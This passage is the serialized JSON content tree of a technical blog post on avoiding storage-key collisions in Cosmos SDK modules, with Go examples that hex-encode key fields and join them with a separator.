89150,"children":89151},{"style":926},[89152],{"type":27,"value":89153},"Encode",{"type":22,"tag":101,"props":89155,"children":89156},{"style":120},[89157],{"type":27,"value":980},{"type":22,"tag":101,"props":89159,"children":89160},{"style":126},[89161],{"type":27,"value":89062},{"type":22,"tag":101,"props":89163,"children":89164},{"style":120},[89165],{"type":27,"value":758},{"type":22,"tag":101,"props":89167,"children":89168},{"style":126},[89169],{"type":27,"value":88978},{"type":22,"tag":101,"props":89171,"children":89172},{"style":120},[89173],{"type":27,"value":2510},{"type":22,"tag":101,"props":89175,"children":89176},{"class":103,"line":1110},[89177],{"type":22,"tag":101,"props":89178,"children":89179},{"emptyLinePlaceholder":15},[89180],{"type":27,"value":1581},{"type":22,"tag":101,"props":89182,"children":89183},{"class":103,"line":1118},[89184,89189,89193,89197],{"type":22,"tag":101,"props":89185,"children":89186},{"style":126},[89187],{"type":27,"value":89188},"positionNameEncoded",{"type":22,"tag":101,"props":89190,"children":89191},{"style":166},[89192],{"type":27,"value":79923},{"type":22,"tag":101,"props":89194,"children":89195},{"style":926},[89196],{"type":27,"value":89071},{"type":22,"tag":101,"props":89198,"children":89199},{"style":120},[89200],{"type":27,"value":1850},{"type":22,"tag":101,"props":89202,"children":89203},{"class":103,"line":1158},[89204,89208,89212],{"type":22,"tag":101,"props":89205,"children":89206},{"style":120},[89207],{"type":27,"value":89083},{"type":22,"tag":101,"props":89209,"children":89210},{"style":114},[89211],{"type":27,"value":88272},{"type":22,"tag":101,"props":89213,"children":89214},{"style":120},[89215],{"type":27,"value":179},{"type":22,"tag":101,"props":89217,"children":89218},{"class":103,"line":1166},[89219,89223,89227,89231,89235,89239,89243,89248],{"type":22,"tag":101,"props":89220,"children":89221},{"style":126},[89222],{"type":27,"value":89099},{"type":22,"tag":101,"props":89224,"children":89225},{"style":120},[89226],{"type":27,"value":231},{"type":22,"tag":101,"props":89228,"children":89229},{"style":926},[89230],{"type":27,"value":89108},{"type":22,"tag":101,"props":89232,"children":89233},{"style":120},[89234],{"type":27,"value":980},{"type":22,"tag":101,"props":89236,"children":89237},{"style":926},[89238],{"type":27,"value":13147},{"type":22,"tag":101,"props":89240,"children":89241},{"style":120},[89242],{"type":27,"value":980},{"type":22,"tag":101,"props":89244,"children":89245},{"style":126},[89246],{"type":27,"value":89247},"positionName",{"type":22,"tag":101,"props":89249,"children":89250},{"style":120},[89251],{"type":27,"value":89129},{"type":22,"tag":101,"props":89253,"children":89254},{"class":103,"line":1215},[89255],{"type":22,"tag":101,"props":89256,"children":89257},{"style":120},[89258],{"type":27,"value":2510},{"type":22,"tag":101,"props":89260,"children":89261},{"class":103,"line":2425},[89262,89266,89270,89274,89278,89282,89286,89290],{"type":22,"tag":101,"props":89263,"children":89264},{"style":126},[89265],{"type":27,"value":89144},{"type":22,"tag":101,"props":89267,"children":89268},{"style":120},[89269],{"type":27,"value":231},{"type":22,"tag":101,"props":89271,"children":89272},{"style":926},[89273],{"type":27,"value":89153},{"type":22,"tag":101,"props":89275,"children":89276},{"style":120},[89277],{"type":27,"value":980},{"type":22,"tag":101,"props":89279,"children":89280},{"style":126},[89281],{"type":27,"value":89188},{"type":22,"tag":101,"props":89283,"children":89284},{"style":120},[89285],{"type":27,"value":758},{"type":22,"tag":101,"props":89287,"children":89288},{"style":126},[89289],{"type":27,"value":89247},{"type":22,"tag":101,"props":89291,"children":89292},{"style":120},[89293],{"type":27,"value":2510},{"type":22,"tag":101,"props":89295,"children":89296},{"class":103,"line":5417},[89297],{"type":22,"tag":101,"props":89298,"children":89299},{"emptyLinePlaceholder":15},[89300],{"type":27,"value":1581},{"type":22,"tag":101,"props":89302,"children":89303},{"class":103,"line":7714},[89304,89308,89312,89316,89320,89324],{"type":22,"tag":101,"props":89305,"children":89306},{"style":126},[89307],{"type":27,"value":88713},{"type":22,"tag":101,"props":89309,"children":89310},{"style":166},[89311],{"type":27,"value":79923},{"type":22,"tag":101,"props":89313,"children":89314},{"style":126},[89315],{"type":27,"value":85741},{"type":22,"tag":101,"props":89317,"children":89318},{"style":120},[89319],{"type":27,"value":231},{"type":22,"tag":101,"props":89321,"children":89322},{"style":926},[89323],{"type":27,"value":88730},{"type":22,"tag":101,"props":89325,"children":89326},{"style":120},[89327],{"type":27,"value":1850},{"type":22,"tag":101,"props":89329,"children":89330},{"class":103,"line":7723},[89331,89335],{"type":22,"tag":101,"props":89332,"children":89333},{"style":6476},[89334],{"type":27,"value":88896},{"type":22,"tag":101,"props":89336,"children":89337},{"style":120},[89338],{"type":27,"value":179},{"type":22,"tag":101,"props":89340,"children":89341},{"class":103,"line":7791},[89342,89346],{"type":22,"tag":101,"props":89343,"children":89344},{"style":126},[89345],{"type":27,"value":88754},{"type":22,"tag":101,"props":89347,"children":89348},{"style":120},[89349],{"type":27,"value":179},{"type":22,"tag":101,"props":89351,"children":89352},{"class":103,"line":7799},[89353,89357],{"type":22,"tag":101,"props":89354,"children":89355},{"style":126},[89356],{"type":27,"value":88838},{"type":22,"tag":101,"props":89358,"children":89359},{"style":120},[89360],{"type":27,"value":179},{"type":22,"tag":101,"props":89362,"children":89363},{"class":103,"line":7829},[89364,89369],{"type":22,"tag":101,"props":89365,"children":89366},{"style":126},[89367],{"type":27,"value":89368}," usernameEncoded",{"type":22,"tag":101,"props":89370,"children":89371},{"style":120},[89372],{"type":27,"value":179},{"type":22,"tag":101,"props":89374,"children":89375},{"class":103,"line":7837},[89376,89380],{"type":22,"tag":101,"props":89377,"children":89378},{"style":126},[89379],{"type":27,"value":88838},{"type":22,"tag":101,"props":89381,"children":89382},{"style":120},[89383],{"type":27,"value":179},{"type":22,"tag":101,"props":89385,"children":89386},{"class":103,"line":7868},[89387],{"type":22,"tag":101,"props":89388,"children":89389},{"style":126},[89390],{"type":27,"value":89391}," positionNameEncoded\n",{"type":22,"tag":101,"props":89393,"children":89394},{"class":103,"line":7876},[89395],{"type":22,"tag":101,"props":89396,"children":89397},{"style":120},[89398],{"type":27,"value":2510},{"type":22,"tag":23,"props":89400,"children":89401},{},[89402,89404,89409],{"type":27,"value":89403},"We did it. We finally eliminated all potential ",{"type":22,"tag":30,"props":89405,"children":89407},{"className":89406},[],[89408],{"type":27,"value":88713},{"type":27,"value":89410}," collisions.",{"type":22,"tag":23,"props":89412,"children":89413},{},[89414],{"type":27,"value":89415},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":22,"tag":23,"props":89417,"children":89418},{},[89419,89421,89427,89429,89434,89436,89441,89443,89448,89450,89456],{"type":27,"value":89420},"In the Cosmos framework, it is common for each ",{"type":22,"tag":30,"props":89422,"children":89424},{"className":89423},[],[89425],{"type":27,"value":89426},"Module",{"type":27,"value":89428}," to own a few ",{"type":22,"tag":30,"props":89430,"children":89432},{"className":89431},[],[89433],{"type":27,"value":88484},{"type":27,"value":89435}," and have individual ",{"type":22,"tag":30,"props":89437,"children":89439},{"className":89438},[],[89440],{"type":27,"value":83452},{"type":27,"value":89442},"s managing access to storages. It's also important to note that each ",{"type":22,"tag":30,"props":89444,"children":89446},{"className":89445},[],[89447],{"type":27,"value":88484},{"type":27,"value":89449}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":22,"tag":30,"props":89451,"children":89453},{"className":89452},[],[89454],{"type":27,"value":89455},"Modules",{"type":27,"value":231},{"type":22,"tag":23,"props":89458,"children":89459},{},[89460,89462,89467],{"type":27,"value":89461},"With that being said, what if we have to maintain more than one structure within the same ",{"type":22,"tag":30,"props":89463,"children":89465},{"className":89464},[],[89466],{"type":27,"value":88484},{"type":27,"value":5455},{"type":22,"tag":23,"props":89469,"children":89470},{},[89471,89473,89479,89481,89486],{"type":27,"value":89472},"To demonstrate this scenario, we introduce the ",{"type":22,"tag":30,"props":89474,"children":89476},{"className":89475},[],[89477],{"type":27,"value":89478},"NameToAddressMap",{"type":27,"value":89480}," structure, which will be stored in the same ",{"type":22,"tag":30,"props":89482,"children":89484},{"className":89483},[],[89485],{"type":27,"value":88484},{"type":27,"value":89487}," we previously used.",{"type":22,"tag":91,"props":89489,"children":89491},{"code":89490,"language":79671,"meta":7,"className":79672,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n map[VaultId]map[Username]map[AddressName]Address\n",[89492],{"type":22,"tag":30,"props":89493,"children":89494},{"__ignoreMap":7},[89495,89510,89525,89532,89547,89566,89581,89588,89603,89658,89665,89681,89701,89716,89723,89739],{"type":22,"tag":101,"props":89496,"children":89497},{"class":103,"line":104},[89498,89502,89506],{"type":22,"tag":101,"props":89499,"children":89500},{"style":108},[89501],{"type":27,"value":36752},{"type":22,"tag":101,"props":89503,"children":89504},{"style":114},[89505],{"type":27,"value":88530},{"type":22,"tag":101,"props":89507,"children":89508},{"style":114},[89509],{"type":27,"value":79709},{"type":22,"tag":101,"props":89511,"children":89512},{"class":103,"line":157},[89513,89517,89521],{"type":22,"tag":101,"props":89514,"children":89515},{"style":108},[89516],{"type":27,"value":36752},{"type":22,"tag":101,"props":89518,"children":89519},{"style":114},[89520],{"type":27,"value":88546},{"type":22,"tag":101,"props":89522,"children":89523},{"style":114},[89524],{"type":27,"value":88551},{"type":22,"tag":101,"props":89526,"children":89527},{"class":103,"line":182},[89528],{"type":22,"tag":101,"props":89529,"children":89530},{"emptyLinePlaceholder":15},[89531],{"type":27,"value":1581},{"type":22,"tag":101,"props":89533,"children":89534},{"class":103,"line":367},[89535,89539,89543],{"type":22,"tag":101,"props":89536,"children":89537},{"style":108},[89538],{"type":27,"value":36752},{"type":22,"tag":101,"props":89540,"children":89541},{"style":114},[89542],{"type":27,"value":88563},{"type":22,"tag":101,"props":89544,"children":89545},{"style":114},[89546],{"type":27,"value":88551},{"type":22,"tag":101,"props":89548,"children":89549},{"class":103,"line":398},[89550,89554,89558,89562],{"type":22,"tag":101,"props":89551,"children":89552},{"style":108},[89553],{"type":27,"value":36752},{"type":22,"tag":101,"props":89555,"children":89556},{"style":114},[89557],{"type":27,"value":11439},{"type":22,"tag":101,"props":89559,"children":89560},{"style":108},[89561],{"type":27,"value":25138},{"type":22,"tag":101,"props":89563,"children":89564},{"style":120},[89565],{"type":27,"value":154},{"type":22,"tag":101,"props":89567,"children":89568},{"class":103,"line":428},[89569,89573,89577],{"type":22,"tag":101,"props":89570,"children":89571},{"style":126},[89572],{"type":27,"value":47227},{"type":22,"tag":101,"props":89574,"children":89575},{"style":120},[89576],{"type":27,"value":79734},{"type":22,"tag":101,"props":89578,"children":89579},{"style":114},[89580],{"type":27,"value":87735},{"type":22,"tag":101,"props":89582,"children":89583},{"class":103,"line":997},[89584],{"type":22,"tag":101,"props":89585,"children":89586},{"style":120},[89587],{"type":27,"value":188},{"type":22,"tag":101,"props":89589,"children":89590},{"class":103,"line":1032},[89591,89595,89599],{"type":22,"tag":101,"props":89592,"children":89593},{"style":108},[89594],{"type":27,"value":36752},{"type":22,"tag":101,"props":89596,"children":89597},{"style":114},[89598],{"type":27,"value":88620},{"type":22,"tag":101,"props":89600,"children":89601},{"style":166},[89602],{"type":27,"value":88625},{"type":22,"tag":101,"props":89604,"children":89605},{"class":103,"line":1063},[89606,89610,89614,89618,89622,89626,89630,89634,89638,89642,89646,89650,89654],{"type":22,"tag":101,"props":89607,"children":89608},{"style":108},[89609],{"type":27,"value":88633},{"type":22,"tag":101,"props":89611,"children":89612},{"style":120},[89613],{"type":27,"value":2414},{"type":22,"tag":101,"props":89615,"children":89616},{"style":114},[89617],{"type":27,"value":88642},{"type":22,"tag":101,"props":89619,"children":89620},{"style":120},[89621],{"type":27,"value":19412},{"type":22,"tag":101,"props":89623,"children":89624},{"style":108},[89625],{"type":27,"value":6350},{"type":22,"tag":101,"props":89627,"children":89628},{"style":120},[89629],{"type":27,"value":2414},{"type":22,"tag":101,"props":89631,"children":89632},{"style":114},[89633],{"type":27,"value":88659},{"type":22,"tag":101,"props":89635,"children":89636},{"style":120},[89637],{"type":27,"value":19412},{"type":22,"tag":101,"props":89639,"children":89640},{"style":108},[89641],{"type":27,"value":6350},{"type":22,"tag":101,"props":89643,"children":89644},{"style":120},[89645],{"type":27,"value":2414},{"type":22,"tag":101,"props":89647,"children":89648},{"style":114},[89649],{"type":27,"value":88676},{"type":22,"tag":101,"props":89651,"children":89652},{"style":120},[89653],{"type":27,"value":19412},{"type":22,"tag":101,"props":89655,"children":89656},{"style":114},[89657],{"type":27,"value":88685},{"type":22,"tag":101,"props":89659,"children":89660},{"class":103,"line":1071},[89661],{"type":22,"tag":101,"props":89662,"children":89663},{"emptyLinePlaceholder":15},[89664],{"type":27,"value":1581},{"type":22,"tag":101,"props":89666,"children":89667},{"class":103,"line":1110},[89668,89672,89677],{"type":22,"tag":101,"props":89669,"children":89670},{"style":108},[89671],{"type":27,"value":36752},{"type":22,"tag":101,"props":89673,"children":89674},{"style":114},[89675],{"type":27,"value":89676}," AddressName",{"type":22,"tag":101,"props":89678,"children":89679},{"style":114},[89680],{"type":27,"value":88551},{"type":22,"tag":101,"props":89682,"children":89683},{"class":103,"line":1118},[89684,89688,89693,89697],{"type":22,"tag":101,"props":89685,"children":89686},{"style":108},[89687],{"type":27,"value":36752},{"type":22,"tag":101,"props":89689,"children":89690},{"style":114},[89691],{"type":27,"value":89692}," Address",{"type":22,"tag":101,"props":89694,"children":89695},{"style":108},[89696],{"type":27,"value":25138},{"type":22,"tag":101,"props":89698,"children":89699},{"style":120},[89700],{"type":27,"value":154},{"type":22,"tag":101,"props":89702,"children":89703},{"class":103,"line":1158},[89704,89708,89712],{"type":22,"tag":101,"props":89705,"children":89706},{"style":126},[89707],{"type":27,"value":19106},{"type":22,"tag":101,"props":89709,"children":89710},{"style":120},[89711],{"type":27,"value":79734},{"type":22,"tag":101,"props":89713,"children":89714},{"style":114},[89715],{"type":27,"value":87735},{"type":22,"tag":101,"props":89717,"children":89718},{"class":103,"line":1166},[89719],{"type":22,"tag":101,"props":89720,"children":89721},{"style":120},[89722],{"type":27,"value":188},{"type":22,"tag":101,"props":89724,"children":89725},{"class":103,"line":1215},[89726,89730,89735],{"type":22,"tag":101,"props":89727,"children":89728},{"style":108},[89729],{"type":27,"value":36752},{"type":22,"tag":101,"props":89731,"children":89732},{"style":114},[89733],{"type":27,"value":89734}," AddressMap",{"type":22,"tag":101,"props":89736,"children":89737},{"style":166},[89738],{"type":27,"value":88625},{"type":22,"tag":101,"props":89740,"children":89741},{"class":103,"line":2425},[89742,89746,89750,89754,89758,89762,89766,89770,89774,89778,89782,89787,89791],{"type":22,"tag":101,"props":89743,"children":89744},{"style":108},[89745],{"type":27,"value":88633},{"type":22,"tag":101,"props":89747,"children":89748},{"style":120},[89749],{"type":27,"value":2414},{"type":22,"tag":101,"props":89751,"children":89752},{"style":114},[89753],{"type":27,"value":88642},{"type":22,"tag":101,"props":89755,"children":89756},{"style":120},[89757],{"type":27,"value":19412},{"type":22,"tag":101,"props":89759,"children":89760},{"style":108},[89761],{"type":27,"value":6350},{"type":22,"tag":101,"props":89763,"children":89764},{"style":120},[89765],{"type":27,"value":2414},{"type":22,"tag":101,"props":89767,"children":89768},{"style":114},[89769],{"type":27,"value":88659},{"type":22,"tag":101,"props":89771,"children":89772},{"style":120},[89773],{"type":27,"value":19412},{"type":22,"tag":101,"props":89775,"children":89776},{"style":108},[89777],{"type":27,"value":6350},{"type":22,"tag":101,"props":89779,"children":89780},{"style":120},[89781],{"type":27,"value":2414},{"type":22,"tag":101,"props":89783,"children":89784},{"style":114},[89785],{"type":27,"value":89786},"AddressName",{"type":22,"tag":101,"props":89788,"children":89789},{"style":120},[89790],{"type":27,"value":19412},{"type":22,"tag":101,"props":89792,"children":89793},{"style":114},[89794],{"type":27,"value":89795},"Address\n",{"type":22,"tag":23,"props":89797,"children":89798},{},[89799],{"type":27,"value":89800},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":22,"tag":91,"props":89802,"children":89804},{"code":89803,"language":79671,"meta":7,"className":79672,"style":7},"const (\n Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n vaultId uint64,\n username, positionName []byte,\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n positionNameEncoded := make(\n []byte,\n hex.EncodedLen(len(positionName)),\n )\n hex.Encode(positionNameEncoded, positionName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n positionNameEncoded,\n )\n}\n\n\nfunc AddressMapKey(\n vaultId uint64,\n username, addressName []byte\n) (key []byte) {\n usernameEncoded := make(\n []byte,\n hex.EncodedLen(len(username)),\n )\n hex.Encode(usernameEncoded, username)\n\n addressNameEncoded := make(\n []byte,\n hex.EncodedLen(len(addressName)),\n )\n hex.Encode(addressNameEncoded, addressName)\n\n key := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n usernameEncoded,\n Seperator,\n addressNameEncoded,\n )\n}\n",[89805],{"type":22,"tag":30,"props":89806,"children":89807},{"__ignoreMap":7},[89808,89819,89834,89841,89848,89855,89871,89886,89913,89936,89955,89971,90007,90014,90049,90056,90076,90091,90126,90133,90168,90175,90203,90215,90227,90239,90251,90262,90274,90281,90288,90295,90302,90318,90333,90357,90380,90399,90414,90449,90456,90491,90498,90518,90533,90568,90575,90611,90618,90645,90656,90667,90678,90689,90700,90712,90719],{"type":22,"tag":101,"props":89809,"children":89810},{"class":103,"line":104},[89811,89815],{"type":22,"tag":101,"props":89812,"children":89813},{"style":108},[89814],{"type":27,"value":13660},{"type":22,"tag":101,"props":89816,"children":89817},{"style":120},[89818],{"type":27,"value":82073},{"type":22,"tag":101,"props":89820,"children":89821},{"class":103,"line":157},[89822,89826,89830],{"type":22,"tag":101,"props":89823,"children":89824},{"style":126},[89825],{"type":27,"value":88838},{"type":22,"tag":101,"props":89827,"children":89828},{"style":166},[89829],{"type":27,"value":960},{"type":22,"tag":101,"props":89831,"children":89832},{"style":6476},[89833],{"type":27,"value":88847},{"type":22,"tag":101,"props":89835,"children":89836},{"class":103,"line":182},[89837],{"type":22,"tag":101,"props":89838,"children":89839},{"style":120},[89840],{"type":27,"value":2510},{"type":22,"tag":101,"props":89842,"children":89843},{"class":103,"line":367},[89844],{"type":22,"tag":101,"props":89845,"children":89846},{"emptyLinePlaceholder":15},[89847],{"type":27,"value":1581},{"type":22,"tag":101,"props":89849,"children":89850},{"class":103,"line":398},[89851],{"type":22,"tag":101,"props":89852,"children":89853},{"emptyLinePlaceholder":15},[89854],{"type":27,"value":1581},{"type":22,"tag":101,"props":89856,"children":89857},{"class":103,"line":428},[89858,89862,89867],{"type":22,"tag":101,"props":89859,"children":89860},{"style":108},[89861],{"type":27,"value":79807},{"type":22,"tag":101,"props":89863,"children":89864},{"style":926},[89865],{"type":27,"value":89866}," PositionMapKey",{"type":22,"tag":101,"props":89868,"children":89869},{"style":120},[89870],{"type":27,"value":1850},{"type":22,"tag":101,"props":89872,"children":89873},{"class":103,"line":997},[89874,89878,89882],{"type":22,"tag":101,"props":89875,"children":89876},{"style":126},[89877],{"type":27,"value":88754},{"type":22,"tag":101,"props":89879,"children":89880},{"style":114},[89881],{"type":27,"value":79928},{"type":22,"tag":101,"props":89883,"children":89884},{"style":120},[89885],{"type":27,"value":179},{"type":22,"tag":101,"props":89887,"children":89888},{"class":103,"line":1032},[89889,89893,89897,89901,89905,89909],{"type":22,"tag":101,"props":89890,"children":89891},{"style":126},[89892],{"type":27,"value":88766},{"type":22,"tag":101,"props":89894,"children":89895},{"style":120},[89896],{"type":27,"value":758},{"type":22,"tag":101,"props":89898,"children":89899},{"style":126},[89900],{"type":27,"value":89247},{"type":22,"tag":101,"props":89902,"children":89903},{"style":120},[89904],{"type":27,"value":79734},{"type":22,"tag":101,"props":89906,"children":89907},{"style":114},[89908],{"type":27,"value":88272},{"type":22,"tag":101,"props":89910,"children":89911},{"style":120},[89912],{"type":27,"value":179},{"type":22,"tag":101,"props":89914,"children":89915},{"class":103,"line":1063},[89916,89920,89924,89928,89932],{"type":22,"tag":101,"props":89917,"children":89918},{"style":120},[89919],{"type":27,"value":79889},{"type":22,"tag":101,"props":89921,"children":89922},{"style":126},[89923],{"type":27,"value":75661},{"type":22,"tag":101,"props":89925,"children":89926},{"style":120},[89927],{"type":27,"value":79734},{"type":22,"tag":101,"props":89929,"children":89930},{"style":114},[89931],{"type":27,"value":88272},{"type":22,"tag":101,"props":89933,"children":89934},{"style":120},[89935],{"type":27,"value":1463},{"type":22,"tag":101,"props":89937,"children":89938},{"class":103,"line":1071},[89939,89943,89947,89951],{"type":22,"tag":101,"props":89940,"children":89941},{"style":126},[89942],{"type":27,"value":89368},{"type":22,"tag":101,"props":89944,"children":89945},{"style":166},[89946],{"type":27,"value":79923},{"type":22,"tag":101,"props":89948,"children":89949},{"style":926},[89950],{"type":27,"value":89071},{"type":22,"tag":101,"props":89952,"children":89953},{"style":120},[89954],{"type":27,"value":1850},{"type":22,"tag":101,"props":89956,"children":89957},{"class":103,"line":1110},[89958,89963,89967],{"type":22,"tag":101,"props":89959,"children":89960},{"style":120},[89961],{"type":27,"value":89962}," []",{"type":22,"tag":101,"props":89964,"children":89965},{"style":114},[89966],{"type":27,"value":88272},{"type":22,"tag":101,"props":89968,"children":89969},{"style":120},[89970],{"type":27,"value":179},{"type":22,"tag":101,"props":89972,"children":89973},{"class":103,"line":1118},[89974,89979,89983,89987,89991,89995,89999,90003],{"type":22,"tag":101,"props":89975,"children":89976},{"style":126},[89977],{"type":27,"value":89978}," hex",{"type":22,"tag":101,"props":89980,"children":89981},{"style":120},[89982],{"type":27,"value":231},{"type":22,"tag":101,"props":89984,"children":89985},{"style":926},[89986],{"type":27,"value":89108},{"type":22,"tag":101,"props":89988,"children":89989},{"style":120},[89990],{"type":27,"value":980},{"type":22,"tag":101,"props":89992,"children":89993},{"style":926},[89994],{"type":27,"value":13147},{"type":22,"tag":101,"props":89996,"children":89997},{"style":120},[89998],{"type":27,"value":980},{"type":22,"tag":101,"props":90000,"children":90001},{"style":126},[90002],{"type":27,"value":88978},{"type":22,"tag":101,"props":90004,"children":90005},{"style":120},[90006],{"type":27,"value":89129},{"type":22,"tag":101,"props":90008,"children":90009},{"class":103,"line":1158},[90010],{"type":22,"tag":101,"props":90011,"children":90012},{"style":120},[90013],{"type":27,"value":27917},{"type":22,"tag":101,"props":90015,"children":90016},{"class":103,"line":1166},[90017,90021,90025,90029,90033,90037,90041,90045],{"type":22,"tag":101,"props":90018,"children":90019},{"style":126},[90020],{"type":27,"value":89099},{"type":22,"tag":101,"props":90022,"children":90023},{"style":120},[90024],{"type":27,"value":231},{"type":22,"tag":101,"props":90026,"children":90027},{"style":926},[90028],{"type":27,"value":89153},{"type":22,"tag":101,"props":90030,"children":90031},{"style":120},[90032],{"type":27,"value":980},{"type":22,"tag":101,"props":90034,"children":90035},{"style":126},[90036],{"type":27,"value":89062},{"type":22,"tag":101,"props":90038,"children":90039},{"style":120},[90040],{"type":27,"value":758},{"type":22,"tag":101,"props":90042,"children":90043},{"style":126},[90044],{"type":27,"value":88978},{"type":22,"tag":101,"props":90046,"children":90047},{"style":120},[90048],{"type":27,"value":2510},{"type":22,"tag":101,"props":90050,"children":90051},{"class":103,"line":1215},[90052],{"type":22,"tag":101,"props":90053,"children":90054},{"emptyLinePlaceholder":15},[90055],{"type":27,"value":1581},{"type":22,"tag":101,"props":90057,"children":90058},{"class":103,"line":2425},[90059,90064,90068,90072],{"type":22,"tag":101,"props":90060,"children":90061},{"style":126},[90062],{"type":27,"value":90063}," positionNameEncoded",{"type":22,"tag":101,"props":90065,"children":90066},{"style":166},[90067],{"type":27,"value":79923},{"type":22,"tag":101,"props":90069,"children":90070},{"style":926},[90071],{"type":27,"value":89071},{"type":22,"tag":101,"props":90073,"children":90074},{"style":120},[90075],{"type":27,"value":1850},{"type":22,"tag":101,"props":90077,"children":90078},{"class":103,"line":5417},[90079,90083,90087],{"type":22,"tag":101,"props":90080,"children":90081},{"style":120},[90082],{"type":27,"value":89962},{"type":22,"tag":101,"props":90084,"children":90085},{"style":114},[90086],{"type":27,"value":88272},{"type":22,"tag":101,"props":90088,"children":90089},{"style":120},[90090],{"type":27,"value":179},{"type":22,"tag":101,"props":90092,"children":90093},{"class":103,"line":7714},[90094,90098,90102,90106,90110,90114,90118,90122],{"type":22,"tag":101,"props":90095,"children":90096},{"style":126},[90097],{"type":27,"value":89978},{"type":22,"tag":101,"props":90099,"children":90100},{"style":120},[90101],{"type":27,"value":231},{"type":22,"tag":101,"props":90103,"children":90104},{"style":926},[90105],{"type":27,"value":89108},{"type":22,"tag":101,"props":90107,"children":90108},{"style":120},[90109],{"type":27,"value":980},{"type":22,"tag":101,"props":90111,"children":90112},{"style":926},[90113],{"type":27,"value":13147},{"type":22,"tag":101,"props":90115,"children":90116},{"style":120},[90117],{"type":27,"value":980},{"type":22,"tag":101,"props":90119,"children":90120},{"style":126},[90121],{"type":27,"value":89247},{"type":22,"tag":101,"props":90123,"children":90124},{"style":120},[90125],{"type":27,"value":89129},{"type":22,"tag":101,"props":90127,"children":90128},{"class":103,"line":7723},[90129],{"type":22,"tag":101,"props":90130,"children":90131},{"style":120},[90132],{"type":27,"value":27917},{"type":22,"tag":101,"props":90134,"children":90135},{"class":103,"line":7791},[90136,90140,90144,90148,90152,90156,90160,90164],{"type":22,"tag":101,"props":90137,"children":90138},{"style":126},[90139],{"type":27,"value":89099},{"type":22,"tag":101,"props":90141,"children":90142},{"style":120},[90143],{"type":27,"value":231},{"type":22,"tag":101,"props":90145,"children":90146},{"style":926},[90147],{"type":27,"value":89153},{"type":22,"tag":101,"props":90149,"children":90150},{"style":120},[90151],{"type":27,"value":980},{"type":22,"tag":101,"props":90153,"children":90154},{"style":126},[90155],{"type":27,"value":89188},{"type":22,"tag":101,"props":90157,"children":90158},{"style":120},[90159],{"type":27,"value":758},{"type":22,"tag":101,"props":90161,"children":90162},{"style":126},[90163],{"type":27,"value":89247},{"type":22,"tag":101,"props":90165,"children":90166},{"style":120},[90167],{"type":27,"value":2510},{"type":22,"tag":101,"props":90169,"children":90170},{"class":103,"line":7799},[90171],{"type":22,"tag":101,"props":90172,"children":90173},{"emptyLinePlaceholder":15},[90174],{"type":27,"value":1581},{"type":22,"tag":101,"props":90176,"children":90177},{"class":103,"line":7829},[90178,90183,90187,90191,90195,90199],{"type":22,"tag":101,"props":90179,"children":90180},{"style":126},[90181],{"type":27,"value":90182}," key",{"type":22,"tag":101,"props":90184,"children":90185},{"style":166},[90186],{"type":27,"value":79923},{"type":22,"tag":101,"props":90188,"children":90189},{"style":126},[90190],{"type":27,"value":85741},{"type":22,"tag":101,"props":90192,"children":90193},{"style":120},[90194],{"type":27,"value":231},{"type":22,"tag":101,"props":90196,"children":90197},{"style":926},[90198],{"type":27,"value":88730},{"type":22,"tag":101,"props":90200,"children":90201},{"style":120},[90202],{"type":27,"value":1850},{"type":22,"tag":101,"props":90204,"children":90205},{"class":103,"line":7837},[90206,90211],{"type":22,"tag":101,"props":90207,"children":90208},{"style":6476},[90209],{"type":27,"value":90210}," \"%d%s%s%s%s\"",{"type":22,"tag":101,"props":90212,"children":90213},{"style":120},[90214],{"type":27,"value":179},{"type":22,"tag":101,"props":90216,"children":90217},{"class":103,"line":7868},[90218,90223],{"type":22,"tag":101,"props":90219,"children":90220},{"style":126},[90221],{"type":27,"value":90222}," vaultId",{"type":22,"tag":101,"props":90224,"children":90225},{"style":120},[90226],{"type":27,"value":179},{"type":22,"tag":101,"props":90228,"children":90229},{"class":103,"line":7876},[90230,90235],{"type":22,"tag":101,"props":90231,"children":90232},{"style":126},[90233],{"type":27,"value":90234}," Seperator",{"type":22,"tag":101,"props":90236,"children":90237},{"style":120},[90238],{"type":27,"value":179},{"type":22,"tag":101,"props":90240,"children":90241},{"class":103,"line":7936},[90242,90247],{"type":22,"tag":101,"props":90243,"children":90244},{"style":126},[90245],{"type":27,"value":90246}," usernameEncoded",{"type":22,"tag":101,"props":90248,"children":90249},{"style":120},[90250],{"type":27,"value":179},{"type":22,"tag":101,"props":90252,"children":90253},{"class":103,"line":13054},[90254,90258],{"type":22,"tag":101,"props":90255,"children":90256},{"style":126},[90257],{"type":27,"value":90234},{"type":22,"tag":101,"props":90259,"children":90260},{"style":120},[90261],{"type":27,"value":179},{"type":22,"tag":101,"props":90263,"children":90264},{"class":103,"line":13072},[90265,90270],{"type":22,"tag":101,"props":90266,"children":90267},{"style":126},[90268],{"type":27,"value":90269}," 